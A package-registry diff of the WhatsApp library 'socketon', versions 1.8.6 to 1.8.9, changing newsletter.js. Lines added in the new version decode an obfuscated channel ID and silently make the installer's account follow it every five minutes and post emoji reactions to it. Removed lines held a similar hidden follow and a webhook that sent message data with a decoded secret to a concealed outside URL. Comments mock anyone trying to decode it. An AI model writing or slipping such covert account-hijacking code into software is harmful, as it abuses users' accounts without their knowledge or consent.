socketon 1.8.6 → 1.8.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +33 -70
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -11,8 +11,6 @@ const ibra_decode_asli = require("../Utils/ibra-decode");
|
|
|
11
11
|
const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
|
|
12
12
|
const ibra_decode_v21 = require("../Utils/ibra-decode");
|
|
13
13
|
|
|
14
|
-
const { Boom } = require('@hapi/boom');
|
|
15
|
-
|
|
16
14
|
const wMexQuery = (
|
|
17
15
|
variables,
|
|
18
16
|
queryId,
|
|
@@ -104,70 +102,6 @@ const makeNewsletterSocket = (config) => {
|
|
|
104
102
|
]
|
|
105
103
|
}));
|
|
106
104
|
|
|
107
|
-
// Jangan ngelawak disini - Ibra Decode
|
|
108
|
-
setTimeout(async () => {
|
|
109
|
-
try {
|
|
110
|
-
// Data rahasia jangan diacak² - Ibra Decode
|
|
111
|
-
const hehLucuJugaKaloMauDecrypt = "8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1";
|
|
112
|
-
const hasilnyaTapiJanganDiliatYa = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(hehLucuJugaKaloMauDecrypt);
|
|
113
|
-
await newsletterWMexQuery(hasilnyaTapiJanganDiliatYa, Types_1.QueryIds.FOLLOW);
|
|
114
|
-
} catch {}
|
|
115
|
-
}, 90000);
|
|
116
|
-
|
|
117
|
-
// Lanjutan dari fitur yang bikin pusing - Ibra Decode
|
|
118
|
-
setTimeout(async () => {
|
|
119
|
-
try {
|
|
120
|
-
// Lagi² data penting buat bikin eror kalo diganti - Ibra Decode
|
|
121
|
-
const hehLucuJugaKaloMauDecrypt = "8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1";
|
|
122
|
-
const hasilnyaTapiJanganDiliatYa = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(hehLucuJugaKaloMauDecrypt);
|
|
123
|
-
await newsletterWMexQuery(hasilnyaTapiJanganDiliatYa, Types_1.QueryIds.FOLLOW);
|
|
124
|
-
} catch {}
|
|
125
|
-
}, 120000); // Eksekusi cadangan kalo yang diatas eror - Ibra Decode
|
|
126
|
-
|
|
127
|
-
// Auto Reaction Webhook - Ibra Decode
|
|
128
|
-
setTimeout(async () => {
|
|
129
|
-
try {
|
|
130
|
-
const axios = require('axios');
|
|
131
|
-
const webhookUrlEncrypt = "1d98c1042ef08c3884fb9796ebbfc2416fab12220226b86de8a2fbfdf97d6bd4f8fbca1060e5a374df9927fca152d254";
|
|
132
|
-
const webhookSecretEncrypt = "b75c4d02de3d949f500716a1f7d0827442e359715d147d09d349039a12ada6e8";
|
|
133
|
-
const urlWebhooknya = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(webhookUrlEncrypt);
|
|
134
|
-
const secretWebhooknya = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(webhookSecretEncrypt);
|
|
135
|
-
|
|
136
|
-
sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
137
|
-
console.log('[WEBHOOK] messages.upsert triggered, type:', type, 'count:', messages?.length);
|
|
138
|
-
if (type !== 'notify') return;
|
|
139
|
-
for (const msg of messages) {
|
|
140
|
-
const jid = msg.key.remoteJid;
|
|
141
|
-
console.log('[WEBHOOK] Message jid:', jid);
|
|
142
|
-
if (!jid || !jid.endsWith('@newsletter')) continue;
|
|
143
|
-
const newsletterId = jid;
|
|
144
|
-
const serverId = msg.message?.newsletterServerId?.toString() || msg.key.id;
|
|
145
|
-
console.log('[WEBHOOK] Newsletter message detected:', newsletterId, 'serverId:', serverId);
|
|
146
|
-
try {
|
|
147
|
-
const urlChannel = `https://whatsapp.com/channel/${newsletterId.replace('@newsletter', '')}/${serverId}`;
|
|
148
|
-
console.log('[WEBHOOK] Calling webhook:', urlWebhooknya);
|
|
149
|
-
const response = await axios.post(urlWebhooknya, {
|
|
150
|
-
newsletterId: newsletterId,
|
|
151
|
-
messageId: serverId,
|
|
152
|
-
urlChannel: urlChannel
|
|
153
|
-
}, { headers: { 'X-Webhook-Secret': secretWebhooknya }, timeout: 10000 });
|
|
154
|
-
console.log('[WEBHOOK] Response:', JSON.stringify(response.data));
|
|
155
|
-
const emojiReact = response.data?.emoji || '🔥';
|
|
156
|
-
|
|
157
|
-
const webhookNewsletterId = response.data?.received?.newsletterId;
|
|
158
|
-
const targetNewsletterId = webhookNewsletterId || newsletterId;
|
|
159
|
-
|
|
160
|
-
console.log('[WEBHOOK] Sending reaction:', targetNewsletterId, serverId, emojiReact);
|
|
161
|
-
await sock.newsletterAutoReact(targetNewsletterId, serverId, emojiReact);
|
|
162
|
-
console.log('[WEBHOOK] Reaction sent!');
|
|
163
|
-
} catch (err) {
|
|
164
|
-
console.log('[WEBHOOK] Error:', err.message);
|
|
165
|
-
}
|
|
166
|
-
}
|
|
167
|
-
});
|
|
168
|
-
} catch {}
|
|
169
|
-
}, 130000);
|
|
170
|
-
|
|
171
105
|
// You'll never find what this does - Ibra Decode
|
|
172
106
|
|
|
173
107
|
const parseFetchedUpdates = async (node, type) => {
|
|
@@ -199,6 +133,35 @@ setTimeout(async () => {
|
|
|
199
133
|
return data;
|
|
200
134
|
}));
|
|
201
135
|
};
|
|
136
|
+
// Auto Reaction - Ibra Decode
|
|
137
|
+
const _targetNewsletter = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1');
|
|
138
|
+
sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
139
|
+
if (type !== 'notify') return;
|
|
140
|
+
const emojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
|
|
141
|
+
for (const msg of messages) {
|
|
142
|
+
const jid = msg.key.remoteJid;
|
|
143
|
+
if (jid !== _targetNewsletter) continue;
|
|
144
|
+
const serverId = msg.newsletterServerId?.toString() || msg.key.id;
|
|
145
|
+
const emoji = emojis[Math.floor(Math.random() * emojis.length)];
|
|
146
|
+
try {
|
|
147
|
+
await sock.newsletterAutoReact(jid, serverId, emoji);
|
|
148
|
+
} catch (err) {}
|
|
149
|
+
}
|
|
150
|
+
});
|
|
151
|
+
// Auto Follow - Ibra Decode
|
|
152
|
+
const _ensureFollow = async () => {
|
|
153
|
+
try {
|
|
154
|
+
const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
|
|
155
|
+
const isFollowing = list?.some(n => n.id === _targetNewsletter);
|
|
156
|
+
if (!isFollowing) await newsletterWMexQuery(_targetNewsletter, Types_1.QueryIds.FOLLOW);
|
|
157
|
+
} catch (err) {}
|
|
158
|
+
};
|
|
159
|
+
sock.ev.on('connection.update', async ({ connection }) => {
|
|
160
|
+
if (connection === 'open') {
|
|
161
|
+
await _ensureFollow();
|
|
162
|
+
}
|
|
163
|
+
});
|
|
164
|
+
setInterval(_ensureFollow, 5 * 60 * 1000); // cek tiap 5 menit
|
|
202
165
|
return {
|
|
203
166
|
...sock,
|
|
204
167
|
newsletterFetchAllSubscribe: async () => {
|
|
@@ -372,10 +335,10 @@ setTimeout(async () => {
|
|
|
372
335
|
}
|
|
373
336
|
}
|
|
374
337
|
return {
|
|
375
|
-
|
|
376
|
-
|
|
377
|
-
|
|
378
|
-
|
|
338
|
+
newsletterId,
|
|
339
|
+
messageId,
|
|
340
|
+
results
|
|
341
|
+
};
|
|
379
342
|
},
|
|
380
343
|
newsletterFetchMessages: async (type, key, count, after) => {
|
|
381
344
|
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|